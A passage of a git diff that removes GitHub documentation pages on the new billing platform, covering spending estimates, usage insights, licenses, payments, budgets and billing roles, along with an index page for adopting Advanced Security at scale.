-{% rowheaders %} - -| | Copilot charges | GHAS charges | GHE charges | Explanation | -| ----------- | --------------- | ------------ | ----------- | ----------- | -| Cost Center A | `user-1`, `user-3` | `user-1`, `user-3` | `user-1`, `user-3` | These users are assigned directly to the cost center. | -| Cost Center B | `user-2`, `user-4` | {% octicon "dash" aria-label="Not applicable" %} | {% octicon "dash" aria-label="Not applicable" %} | These users aren't directly assigned to a cost center, so Copilot charges are assigned based on organization membership, whereas GHAS and GHE default to enterprise spending. -| Enterprise Only (default) | {% octicon "dash" aria-label="Not applicable" %} | `user-2`, `user-4` | `user-2`, `user-4` | These users aren't directly assigned to a cost center, so GHAS and GHE default to enterprise spending. | - -{% endrowheaders %} - -## Further reading - -* [AUTOTITLE](/rest/enterprise-admin/billing) diff --git a/content/billing/using-the-new-billing-platform/estimating-spending.md b/content/billing/using-the-new-billing-platform/estimating-spending.md deleted file mode 100644 index dea38d24ac7f..000000000000 --- a/content/billing/using-the-new-billing-platform/estimating-spending.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Estimating spending -intro: 'Use the new billing platform to understand where your spending is trending based on the usage across products.' -versions: - feature: enhanced-billing-platform -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/estimating-spending-for-your-enterprise - - /billing/using-the-new-billing-platform/estimating-spending-for-your-enterprise -type: how_to -topics: - - Enterprise - - Team -permissions: '{% data reusables.permissions.enhanced-billing-platform %}' -product: '{% data reusables.billing.enhanced-billing-platform-product %}' -shortTitle: Estimate spending ---- - -The new billing platform provides a high-level view of your spending trends based on the usage across products. You can use this information to estimate your spending and make informed decisions about your budget. - -{% ifversion fpt %} - -## Viewing your spending for your personal account - -{% data reusables.user-settings.access_settings %} -1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing**. - -On this page, you can view your usage in the following categories: - -* **Current metered usage:** The card on the top left shows the gross metered usage for your personal account. -* **Metered usage:** The graph shows the gross metered usage for your personal account. - - To view a different time period, select **Time Frame**, then choose a time period. You can also download an image or CSV of the graph by clicking {% octicon "kebab-horizontal" aria-label="Open column options" %} on the right. - -* **By repository:** The card under the graph shows the top five repositories that generate the most usage. You can click {% octicon "kebab-horizontal" aria-label="Open column options" %} in the upper-right corner of each card to view all usage, including a break down by gross usage versus billable usage (minus any discounts that may apply). -* **By products:** You can use the product tabs to view usage and discounts for different products. - - ![Screenshot of the product tabs section of the overview page.](/assets/images/help/billing/enhanced-billing-platform-products-tabs.png) - -Additionally, you can change your plan by clicking **Upgrade to Pro** or **Downgrade to Free** in the "Current plan" section. - -At the top of the page, under "Next payment due", you can see the date of your next billing cycle. - -{% endif %} - -## Viewing your spending for your {% data variables.enterprise.enterprise_or_org %} - -The "Overview" page provides a high-level view of your spending and budgets. - -{% ifversion fpt %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.billing.org-billing-menu %} - -{% elsif ghec %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.billing.enterprise-billing-menu %} - -{% endif %} - -On this page, you can view your usage in the following categories: - -* **Current metered usage:** The card on the top left shows the gross metered usage for your {% data variables.enterprise.enterprise_or_org %}{% ifversion ghec %} including all cost centers. Click **More details** to view a breakdown of the usage by cost center{% endif %}. -* **Metered usage:** The graph shows the gross metered usage for your {% data variables.enterprise.enterprise_or_org %}{% ifversion ghec %} including cost centers{% endif %}. - - To view a different time period, select **Time Frame**, then choose a time period. You can also download an image or CSV of the graph by clicking {% octicon "kebab-horizontal" aria-label="Open column options" %} on the right. - -{% ifversion fpt %} -* **By repository:** The card under the graph shows the top five repositories that generate the most usage. You can click {% octicon "kebab-horizontal" aria-label="Open column options" %} in the upper-right corner of each card to view all usage, including a break down by gross usage verse billable usage (minus any discounts that may apply). -{% elsif ghec %} -* **By organization** and **by repository:** The two cards under the graph show the top five organizations and repositories that generate the most usage. You can click {% octicon "kebab-horizontal" aria-label="Open column options" %} in the upper-right corner of each card to view all usage, including a break down by gross usage verse billable usage (minus any discounts that may apply). -{% endif %} -* **By products:** You can use the product tabs to view usage and discounts for different products. - - ![Screenshot of the product tabs section of the overview page.](/assets/images/help/billing/enhanced-billing-platform-products-tabs.png){% ifversion metered-ghe-ghas %} - - {% data reusables.billing.actions-usage-delay %} - - {% endif %} - -{% ifversion ghec %} - -## Viewing prepaid credits - -Your prepaid credits are shown above the "Metered usage" graph. To add more prepaid credits, you can contact your account manager in {% data variables.contact.contact_enterprise_sales %}. - -If you don't currently use prepaid credits, but have a volume subscription and would like to use credits, you can contact your account manager in {% data variables.contact.contact_enterprise_sales %}. Prepaid credits are only available to customers who are invoiced (with or without metered add-ons). Prepaid credits can't be used if your account _only_ includes metered add-ons. - -## Viewing promotion and discounts - -In the "Current promotions and discounts" section in the top right, you can see the total amount of promotions and discounts applied to your account. Click **More details** to view a breakdown of the promotions and discounts. - -{% endif %} - -## Tracking budgets - -At the bottom of the page, under "Budgets", you can see your current budgets, and how much you have spent against those budgets. If your role provides access, you can edit or delete a budget by clicking {% octicon "kebab-horizontal" aria-label="Open column options" %} to the right of a budget. See [AUTOTITLE](/billing/using-the-new-billing-platform/roles-for-the-new-billing-platform). - -If you have used all of your budget, a red banner appears at the top of the page. You can click **Update your budget** to increase your budget. diff --git a/content/billing/using-the-new-billing-platform/gathering-insights-on-your-spending.md b/content/billing/using-the-new-billing-platform/gathering-insights-on-your-spending.md deleted file mode 100644 index 80a5f5f7a2c8..000000000000 --- a/content/billing/using-the-new-billing-platform/gathering-insights-on-your-spending.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Gathering insights on your spending -intro: 'Get insights into the usage of your {% data variables.enterprise.enterprise_or_org %} members.' -versions: - feature: enhanced-billing-platform -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/gathering-insights-on-your-spending -type: how_to -topics: - - Enterprise - - Team -permissions: '{% data reusables.permissions.enhanced-billing-platform %}' -product: '{% data reusables.billing.enhanced-billing-platform-product %}' -shortTitle: Gather insights ---- - -The new billing platform provides you with the tools to: - -* **Get insights** into usage trends to understand how your resources are being used. -* **Search and filter usage** by repository, product, or SKU, and group data accordingly. -* **Generate reports** on past usage for various time periods, including the current hour, today, this month, last month, this year, last year, or a custom date range. - -{% ifversion fpt %} - -## Viewing usage for your personal account - -You can view the usage of your personal account and download the usage data for further analysis. - -{% data reusables.user-settings.access_settings %} -1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing**. -1. Click **Usage**. -1. To search or filter the graph, click the search bar. Then click the filter you want to use. -1. To further filter the graph, use the dropdown menus. - - * To see the usage by group, select **Group**, then click a group. - * To filter by time, select **Time Frame**, then click a time period. - * Optionally, to view the monthly budget and actual usage per day, select **Group: None** and **Time Frame: Current Month**. - - Below the graph, you can see a more granular overview of the usage. Click the arrow next to a specific date to see a nested table with usage per SKU, units, price/unit, and actual usage. - - >[!NOTE] The usage graph is configured to represent the start of the month to the end of the month, not your specific billing period. - -1. To request a CSV usage report, select **Get usage report** in the upper-right corner of the page. You can choose a pre-selected option or use the Custom range option to specify a date range of up to 31 days. - -{% endif %} - -## Viewing usage for your {% data variables.enterprise.enterprise_or_org %} - -You can view the usage of your {% data variables.enterprise.enterprise_or_org %} members and download the usage data for further analysis. - -{% ifversion fpt %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.billing.org-billing-menu %} - -{% elsif ghec %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.billing.enterprise-billing-menu %} - -{% endif %} - -1. Click **Usage**. -1. To search or filter the graph, click the search bar. Then click the filter you want to use. -1. To further filter the graph, use the dropdown menus. - - * To see the usage by group, select **Group**, then click a group. - * To filter by time, select **Time Frame**, then click a time period. - * Optionally, to view the monthly budget and actual usage per day, select **Group: None** and **Time Frame: Current Month**. - - Below the graph, you can see a more granular overview of the usage. Click the arrow next to a specific date to see a nested table with usage per SKU, units, price/unit, and actual usage. - - >[!NOTE] The usage graph is configured to represent the start of the month to the end of the month, not your specific billing period. - -1. To request a CSV usage report, select **Get usage report** in the upper-right corner of the page. You can choose a pre-selected option or use the Custom range option to specify a date range of up to 31 days. - -## Viewing license usage - -You can view the license usage of your {% data variables.enterprise.enterprise_or_org %} members and download the usage data for further analysis. - -{% ifversion fpt %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.billing.org-billing-menu %} - -{% elsif ghec %} - -The following license types are available: - -* User -* {% data variables.product.prodname_GH_advanced_security %} -* {% data variables.product.prodname_enterprise %} - -You can also view your active {% data variables.product.prodname_enterprise %} instances and users. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.billing.enterprise-billing-menu %} - -{% endif %} - -1. Click **Licensing**. -1. To download a CSV report of the license usage, click {% octicon "kebab-horizontal" aria-label="Licensing dropdown" %} to the right of the usage you want to download, then click **{% octicon "download" aria-hidden="true" %} CSV report**. - -## Further reading - -{% ifversion ghec %} -* [AUTOTITLE](/rest/enterprise-admin/billing){% endif %} -* [AUTOTITLE](/billing/using-the-new-billing-platform/adding-licenses-to-your-account) diff --git a/content/billing/using-the-new-billing-platform/getting-started-with-the-new-billing-platform.md b/content/billing/using-the-new-billing-platform/getting-started-with-the-new-billing-platform.md deleted file mode 100644 index d304502212e4..000000000000 --- a/content/billing/using-the-new-billing-platform/getting-started-with-the-new-billing-platform.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Getting started with the new billing platform -intro: 'Learn how to start using the new billing platform for your {% data variables.enterprise.enterprise_or_org %} account.' -versions: - feature: enhanced-billing-platform -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/getting-started-with-the-enhanced-billing-platform -type: overview -topics: - - Enterprise - - Team -product: '{% data reusables.billing.enhanced-billing-platform-product %}' -shortTitle: Get started ---- - -If you don't already have access to the new billing platform, you may be able to get started. - -{% ifversion fpt %} -* If you are **new** to {% data variables.product.github %}, create a personal account on a {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} plan or an organization on a {% data variables.product.prodname_free_team %} or {% data variables.product.prodname_team %} plan. -{% endif %} -* If you are **new** to {% data variables.product.prodname_ghe_cloud %}, set up a trial of {% data variables.product.prodname_ghe_cloud %}. See [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud). -{% ifversion ghec %} -* If you have an **existing** enterprise account and pay by **invoice**, contact your account manager in {% data variables.contact.contact_enterprise_sales %} to discuss switching when your contract renews. -* If you have an **existing** enterprise account and pay via **credit card or PayPal**, wait for an in-product prompt to transition. -{% endif %} - -{% ifversion fpt %} -For a comparison of plans, see the {% data variables.product.pricing_link %} page. -{% endif %} - -## Next steps - -* To **learn about billing cycles**, see [AUTOTITLE](/billing/using-the-new-billing-platform/about-the-billing-cycle). diff --git a/content/billing/using-the-new-billing-platform/index.md b/content/billing/using-the-new-billing-platform/index.md deleted file mode 100644 index 082719581fda..000000000000 --- a/content/billing/using-the-new-billing-platform/index.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Using the new billing platform -shortTitle: New billing platform -intro: 'The new, enhanced billing platform offers better spending control and detailed visibility to help you understand your usage with more granular controls.' -redirect_from: - - /early-access/billing/billing-private-beta - - /billing/using-the-enhanced-billing-platform-for-enterprises -product: '{% data reusables.billing.enhanced-billing-platform-product %}' -versions: - feature: enhanced-billing-platform -children: - - /about-the-new-billing-platform - - /getting-started-with-the-new-billing-platform - - /about-the-billing-cycle - - /about-usage-based-billing-for-licenses - - /managing-licenses-and-plans-for-your-account - - /roles-for-the-new-billing-platform - - /estimating-spending - - /gathering-insights-on-your-spending - - /charging-business-units - - /preventing-overspending - - /managing-your-payment-and-billing-information - - /automating-usage-reporting - - /about-billing-for-git-large-file-storage ---- diff --git a/content/billing/using-the-new-billing-platform/managing-licenses-and-plans-for-your-account.md b/content/billing/using-the-new-billing-platform/managing-licenses-and-plans-for-your-account.md deleted file mode 100644 index 05da7db715ea..000000000000 --- a/content/billing/using-the-new-billing-platform/managing-licenses-and-plans-for-your-account.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: Managing licenses {% ifversion fpt %}and plans{% endif %} for your account -intro: Learn how to add {% ifversion enterprise-licensing-language %}licenses{% else %}licensed seats{% endif %} to your {% ifversion fpt %} personal or organization{% elsif ghec %}enterprise{% endif %} account using the new billing platform. -versions: - feature: enhanced-billing-platform -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/adding-seats-to-your-enterprise-account - - /billing/using-the-new-billing-platform/adding-seats-to-your-enterprise-account - - /billing/using-the-new-billing-platform/adding-seats-to-your-account - - /billing/using-the-new-billing-platform/adding-licenses-to-your-account -type: overview -topics: - - Enterprise - - Team -permissions: '{% data reusables.permissions.enhanced-billing-platform %}' -shortTitle: Manage licenses {% ifversion fpt %}and plans{% endif %} -allowTitleToDifferFromFilename: true ---- - -{% ifversion ghec %} ->[!IMPORTANT] If you pay by invoice, you need to contact your account manager in {% data variables.contact.contact_enterprise_sales %} to add licenses to your enterprise account. -{% endif %} - -If you have access to the new billing platform{% ifversion fpt %} with an organization on a {% data variables.product.prodname_team %} plan, or a personal account on a {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} plan{% endif %}, you can add {% ifversion enterprise-licensing-language %}licenses{% else %}seats{% endif %} to your account{% ifversion fpt %} or update your plan{% endif %} through the "Licensing" page. To check if you have access, see [AUTOTITLE](/billing/using-the-new-billing-platform/about-the-new-billing-platform-for-enterprises#how-do-i-know-if-i-can-access-the-new-billing-platform) - -{% ifversion fpt %} - -## Upgrading your personal account's plan - -You can upgrade your personal account from {% data variables.product.prodname_free_user %} to {% data variables.product.prodname_pro %} to get advanced code review tools on private repositories owned by your personal account. - -Upgrading your personal account does not affect any organizations you may manage or repositories owned by those organizations. {% data reusables.gated-features.more-info %} - -{% data reusables.user-settings.access_settings %} -1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing**. -1. Click **Licensing**. -1. Next to "Current plan", click **Upgrade**. -1. Under "Pro" on the "Compare plans" page, click **Upgrade to Pro**. -{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %} -{% data reusables.dotcom_billing.show-plan-details %} -{% data reusables.dotcom_billing.enter-billing-info %} -{% data reusables.dotcom_billing.enter-payment-info %} -{% data reusables.dotcom_billing.finish_upgrade %} - -## Adding licenses to an organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.billing.org-billing-menu %} -1. Click **Licensing**. -1. In the {% data variables.product.prodname_team %} banner, click **Edit** and select **Add seats** to display the "Billing / Add seats" view. -1. Define the number of new seats you require. The details of the prorated cost for the remainder of the billing cycle and the total for your next bill are updated automatically. -1. When you have defined the number of additional seats to add, click **Add seats**. - -You can also use the **Edit** option to remove seats and see which users are using seats in your account. - -{% elsif ghec %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.billing.enterprise-billing-menu %} -1. Click **Licensing**. -1. Click {% octicon "kebab-horizontal" aria-label="Licensing dropdown" %} and then click **Manage licenses**. -1. Under "Total licenses", enter a number of licenses. -1. Click **Update licenses**. - -{% endif %} diff --git a/content/billing/using-the-new-billing-platform/managing-your-payment-and-billing-information.md b/content/billing/using-the-new-billing-platform/managing-your-payment-and-billing-information.md deleted file mode 100644 index 87046c1a5095..000000000000 --- a/content/billing/using-the-new-billing-platform/managing-your-payment-and-billing-information.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Managing your payment and billing information -intro: 'Learn how to manage your payment information and history, and update your billing contacts using the new billing platform.' -versions: - feature: enhanced-billing-platform -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/managing-your-payment-and-billing-information -type: how_to -topics: - - Enterprise - - Team -permissions: '{% data reusables.permissions.enhanced-billing-platform %}' -product: '{% data reusables.billing.enhanced-billing-platform-product %}' -shortTitle: Manage your payment information ---- - -You can view your payment information and history, and update your billing contacts. Supported payment methods include: - -* Credit card -* PayPal -* Azure Subscription ID (not available for personal accounts) - -{% ifversion fpt %} - -## Connecting your Azure subscription - -You must know your Azure subscription ID. For more information, see the following documentation or [contact Azure support](https://azure.microsoft.com/support/). - -* [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription) -* [Get subscription and tenant IDs in the Azure portal](https://learn.microsoft.com/en-us/azure/azure-portal/get-subscription-tenant-id) in the Microsoft Docs - -{% elsif ghec %} - -## Prerequisites for paying through Azure - -* You must be new to {% data variables.product.prodname_ghe_cloud %} to begin with usage-based billing through an Azure subscription. If your company already uses {% data variables.product.github %}, you can use {% data variables.product.prodname_importer_proper_name %} to migrate your resources to a new subscription that bills through Azure. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer). -* Prepaid usage is not currently available for usage-based billing through Azure. -* You must know your Azure subscription ID. For more information, see the following documentation or [contact Azure support](https://azure.microsoft.com/support/). - - * [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription) - * [Get subscription and tenant IDs in the Azure portal](https://learn.microsoft.com/en-us/azure/azure-portal/get-subscription-tenant-id) in the Microsoft Docs - -## Connecting your Azure subscription - -After creation of your new enterprise on {% data variables.product.prodname_dotcom_the_website %}, to begin usage-based billing through Azure, you must connect your Azure subscription. - -> [!IMPORTANT] If you don't use {% data variables.product.prodname_emus %}, connection of an Azure subscription will immediately end your trial and begin paid usage. - -For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/connecting-an-azure-subscription#connecting-your-azure-subscription-to-your-enterprise-account). - -## What does my Azure invoice look like? - -After you connect your Azure subscription, usage for {% data variables.product.company_short %}'s products will appear on your Azure invoice, summarized by product family. - -For example, if you use this billing arrangement for {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_GH_advanced_security %}, usage and price excluding tax for each line item will appear as follows. - -| Product Family Usage Charges | Total (excluding Tax) | -| :- | :- | -| GH ENTERPRISE | AMOUNT | -| GH ADVANCED SECURITY | AMOUNT | - -For more information about your Azure invoice, see [Understand terms on your Microsoft Azure invoice](https://learn.microsoft.com/azure/cost-management-billing/understand/understand-invoice) in the Microsoft Docs. - -The {% data variables.product.company_short %} products on your Azure invoice are also MACC-eligible. For more information, see [Track your Microsoft Azure Consumption Commitment (MACC)](https://learn.microsoft.com/azure/cost-management-billing/manage/track-consumption-commitment) in the Microsoft Docs. - -{% endif %} - -## Viewing payment information - -{% ifversion fpt %} - -You can view and edit your billing information and update your payment method. - -1. In the upper-right corner of any page on {% data variables.product.prodname_dotcom %}, select your profile photo. - - * For **personal accounts**, click **Settings**, then in the **Access** section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing**. - * For **organizations**, click **Your organizations**, then next to the organization, click **Settings**. In the organization sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing**. - -{% elsif ghec %} - -You can view and edit your billing information, update your payment method, and view active coupons. - ->[!NOTE] This only applies to invoiced enterprise accounts. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.billing.enterprise-billing-menu %} - -{% endif %} - -1. Click **Payment information**. -1. Click **Edit** to edit your payment information or **Remove** to delete your payment method. -1. Follow the prompts. - -## Viewing payment history - -You can view your payment history, including the date, amount, and payment method. You can also download past payments. - -1. Display the **Billing & Licensing** section of the sidebar of the {% data variables.enterprise.enterprise_or_org %} settings. -1. Click **Payment history**. - -{% ifversion ghec %} - -## Managing billing contacts - -You can add an email address to receive billing notifications regarding payments and budget threshold alerts. - -1. Display the **Billing & Licensing** section of the sidebar of the enterprise settings. -1. Click **Billing contacts**. -1. Click **Add** in the upper-right corner and follow the prompt. -1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the primary billing contact or {% octicon "kebab-horizontal" aria-label="Show options" %} to either remove or make a contact the primary billing contact. - -{% endif %} diff --git a/content/billing/using-the-new-billing-platform/preventing-overspending.md b/content/billing/using-the-new-billing-platform/preventing-overspending.md deleted file mode 100644 index c8c19ef63a49..000000000000 --- a/content/billing/using-the-new-billing-platform/preventing-overspending.md +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Preventing overspending -intro: 'Learn how to set budgets and track when they are nearing or above a threshold to prevent overspending.' -versions: - feature: enhanced-billing-platform -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/preventing-overspending -type: how_to -topics: - - Enterprise - - Team -permissions: '{% data reusables.permissions.enhanced-billing-platform %}' -product: '{% data reusables.billing.enhanced-billing-platform-product %}' -shortTitle: Prevent overspending ---- - -Budgets and alerts allow you to track spending for your {% ifversion fpt %}organization or personal account{% elsif ghec %}enterprise, organizations, repositories, or cost centers{% endif %}. By setting a monthly budget, you can monitor your spending and receive notifications by email when your spending exceeds certain preset percentages of your budget threshold. This can help you stay within your budget and avoid overspending. - -The budget only applies to expenses incurred from the date of its creation onwards. Any expenses incurred prior to the creation of the budget will not be included in the calculations - -{% ifversion ghec %} -Budgets are not applicable to pre-paid volume licenses. -{% endif %} - -For license-based products such as {% data variables.product.prodname_copilot %}{% ifversion fpt %} and {% data variables.product.prodname_team %}{% elsif ghec %}, {% data variables.product.prodname_GH_advanced_security %}, and {% data variables.product.prodname_enterprise %}{% endif %}, setting a budget does not prevent usage over the limit. - -> [!NOTE] -> By default, paid usage will be limited to $0 for accounts that do not have a payment method on file. For accounts that do have a payment method on file, the default budget is unlimited. - -{% ifversion fpt %} - -## Managing budgets for your personal account - -You can set spending limits and receive alerts when your usage reaches 75%, 90%, or 100% of your defined budget. Budgets can be scoped at the repository or product level, depending on the product. - -{% data reusables.user-settings.access_settings %} -1. In the "Access" section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing & Licensing**. -1. Click **Budgets and alerts**. -1. To create a new budget, click **New budget** and follow the prompts. -1. To edit or delete a budget, click **Edit** or **Delete** next to the budget you want to edit or delete. Follow the prompts. - -{% endif %} - -## Managing budgets for your {% data variables.enterprise.enterprise_or_org %} - -You can manage budgets for your {% data variables.enterprise.enterprise_or_org %} by setting a budget, viewing budgets, and editing or deleting budgets. - -{% ifversion ghec %} - -### Budget scopes - -You can create a budget for a given {% data variables.product.github %} product and specific scope: - -* `Enterprise` scoped budgets track spending for all organizations, repositories, and cost centers in the enterprise -* `Organization` scoped budgets track spending for a single organization, repositories, and cost centers in the organization -* `Repository` scoped budgets track spending for a single repository -* `Cost center` scoped budgets track spending for a single cost center - -Usage is applied towards all applicable budgets. If any applicable budget with "Stop usage when budget limit is reached" enabled becomes exhausted, additional usage will be stopped. - -{% endif %} - -### Viewing budgets - -If you are an {% data variables.enterprise.enterprise_or_org %} owner or billing manager, your {% data variables.enterprise.enterprise_or_org %}'s budget will be listed at the top of the "Budgets and alerts" page{% ifversion ghec %}, followed by the budgets for your organizations and cost centers. As an organization owner, you will be able to view the budgets for your organizations, repositories, and cost centers{% endif %}. - -{% ifversion fpt %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.billing.org-billing-menu %} - -{% elsif ghec %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.billing.enterprise-billing-menu %} - -{% endif %} - -1. Click **Budgets and alerts**. - -{% ifversion ghec %} -1. To filter by scope, select **Scope**, then choose a scope. -{% endif %} - -### Creating a budget - -As an {% data variables.enterprise.enterprise_or_org %} owner{% ifversion ghec %} or billing manager{% endif %}, you can set the budget for your {% data variables.enterprise.enterprise_or_org %}{% ifversion ghec %}, an organization within your enterprise, or a cost center. As an organization owner, you are able to set the budgets for the repositories you manage{% endif %}. - -{% ifversion fpt %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.billing.org-billing-menu %} - -{% elsif ghec %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.billing.enterprise-billing-menu %} - -{% endif %} - -1. Click **Budgets and alerts**. -1. Click **New budget**. -1. Under "Products", select the metered product to include in this budget. -1. Under "Budget scope", set the scope of spending for this budget. -1. Under "Budget", set a budget amount. - - To stop any usage and further spending once your {% ifversion fpt %}organization{% elsif ghec %}enterprise or organization{% endif %} reaches the budget limit, select **Stop usage when budget limit is reached**. This does not apply to {% data variables.product.prodname_copilot %} usage. - - >[!IMPORTANT] If you do not select **Stop usage when budget limit is reached**, you will be notified by email if you exceed your budget, but usage **will not** be stopped. - -1. To receive an alert if your budget has reached 75%, 90% and 100% thresholds, select **Receive budget threshold alerts** under "Alerts". When the budget has reached the specific threshold, you will be notified via email and a banner on {% data variables.product.github %}. You may opt out at any time. - - Under "Alert Recipients", select the people who will receive the alerts. - -1. Click **Create budget**. - -### Editing or deleting a budget - -{% ifversion fpt %} - -As an organization owner, you can edit or delete a budget at any time, but you cannot change the budget scope. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.billing.org-billing-menu %} - -{% elsif ghec %} - -You can edit or delete a budget at any time, but you cannot change the budget scope. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.billing.enterprise-billing-menu %} - -{% endif %} - -1. Click **Budgets and alerts**. -1. To edit a budget, in the list of budgets, click {% octicon "kebab-horizontal" aria-label="View actions" %} next to the budget you want to edit, and click **{% octicon "pencil" aria-hidden="true" %} Edit** or **{% octicon "trash" aria-hidden="true" %} Delete**. -1. Follow the prompts. diff --git a/content/billing/using-the-new-billing-platform/roles-for-the-new-billing-platform.md b/content/billing/using-the-new-billing-platform/roles-for-the-new-billing-platform.md deleted file mode 100644 index 4ddfedf5289d..000000000000 --- a/content/billing/using-the-new-billing-platform/roles-for-the-new-billing-platform.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Roles for the new billing platform -intro: 'Learn about the different roles that can use the new billing platform.' -versions: - feature: enhanced-billing-platform -redirect_from: - - /billing/using-the-enhanced-billing-platform-for-enterprises/roles-for-the-enhanced-billing-platform -type: reference -topics: - - Enterprise - - Team -product: '{% data reusables.billing.enhanced-billing-platform-product %}' ---- - -In an {% data variables.enterprise.enterprise_and_org %}, the following roles have access to the new billing platform: {% ifversion ghec %}enterprise owners, {% endif %}billing managers, and organization owners. {% ifversion fpt %}See [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).{% elsif ghec %}See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-users-in-your-enterprise/roles-in-an-enterprise).{% endif %} - -{% ifversion fpt %}Personal accounts also have access to the new billing platform for their personal usage.{% endif %} - -{% ifversion ghec %} - -## Enterprise owners and enterprise billing managers - -You can: - -* View all metered usage for your account and set budgets for your {% data variables.enterprise.enterprise_and_org %}. -* See enterprise usage, including costs for organizations and repositories. -* Download CSV usage reports for products your enterprise is using. -* Set budgets for your {% data variables.enterprise.enterprise_and_org %}. -* Create cost centers for all organizations within your enterprise. - -{% endif %} - -## Organization owners - -You have full administrative access to your organization. You can: - -* View metered usage and budgets for your organization and its repositories. -* Set budgets for the organization and its repositories. -* Download CSV usage reports.{% ifversion ghec %} -* Create cost centers by grouping repositories you manage. -* View promotions and discounts. -* View spending for pre-purchased user licenses for {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_GH_advanced_security %} based on your usage. -{% endif %} - -{% ifversion fpt %} - -## Organization billing managers - -You can: - -* View all metered usage for your organization its repositories. -* View organization-level budgets. -* Download CSV usage reports. - -{% endif %} - -## Inviting a billing manager - -The invited person will receive an invitation email asking them to become a billing manager for your {% ifversion ghec %}enterprise{% endif %}{% ifversion fpt %} organization{% endif %}. Once the invited person clicks the accept link in their invitation email, they will automatically be added to the {% ifversion ghec %}enterprise{% endif %}{% ifversion fpt %} organization{% endif %} as a billing manager. If they don't already have a {% data variables.product.prodname_dotcom %} account, they will be directed to sign up for one, and they will be automatically added to the {% ifversion ghec %}enterprise{% endif %}{% ifversion fpt %} organization{% endif %} as a billing manager after they create an account. - -{% data reusables.user-settings.access_settings %} -1. In the "Access" section of the sidebar, click **{% octicon "organization" aria-hidden="true" %} Organizations**. -{% data reusables.profile.org_settings %} -1. If you are an organization owner, in the "Access" section of the sidebar, click **{% octicon "credit-card" aria-hidden="true" %} Billing and plans**. -1. Click the link in the text box, **Enterprise account billing settings**, which will direct you to your organizations billing settings page. -1. {% ifversion horizontal-nav %}At the top of the page, click {% octicon "person" aria-hidden="true" %} **People**{% else %}On the left side of the page, in the enterprise account sidebar, click {% octicon "person" aria-hidden="true" %} **People**{% endif %}. -1. Under "People", click **Administrators**. -1. Above the list of administrators, click **Invite admin**. -1. Type the username, full name, or email address of the person you want to invite, then select the appropriate person from the results. -1. Select **Billing Manager**. -1. Click **Send Invitation**. diff --git a/content/code-security/adopting-github-advanced-security-at-scale/index.md b/content/code-security/adopting-github-advanced-security-at-scale/index.md deleted file mode 100644 index 851f649edbba..000000000000 --- a/content/code-security/adopting-github-advanced-security-at-scale/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: 'Adopting {% data variables.product.prodname_GHAS %} at scale' -shortTitle: Adopt GHAS at scale -intro: A phased approach to rolling out {% data variables.product.prodname_GHAS %} at your company using industry and GitHub best practices. -versions: - ghes: '*' - ghec: '*' -topics: - - Secret scanning - - Code Security - - Secret Protection - - Repositories -children: - - /introduction-to-adopting-github-advanced-security-at-scale - - /phase-1-align-on-your-rollout-strategy-and-goals - - /phase-2-preparing-to-enable-at-scale - - /phase-3-pilot-programs - - /phase-4-create-internal-documentation - - /phase-5-rollout-and-scale-code-scanning - - /phase-6-rollout-and-scale-secret-scanning ---- diff --git a/content/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale.md 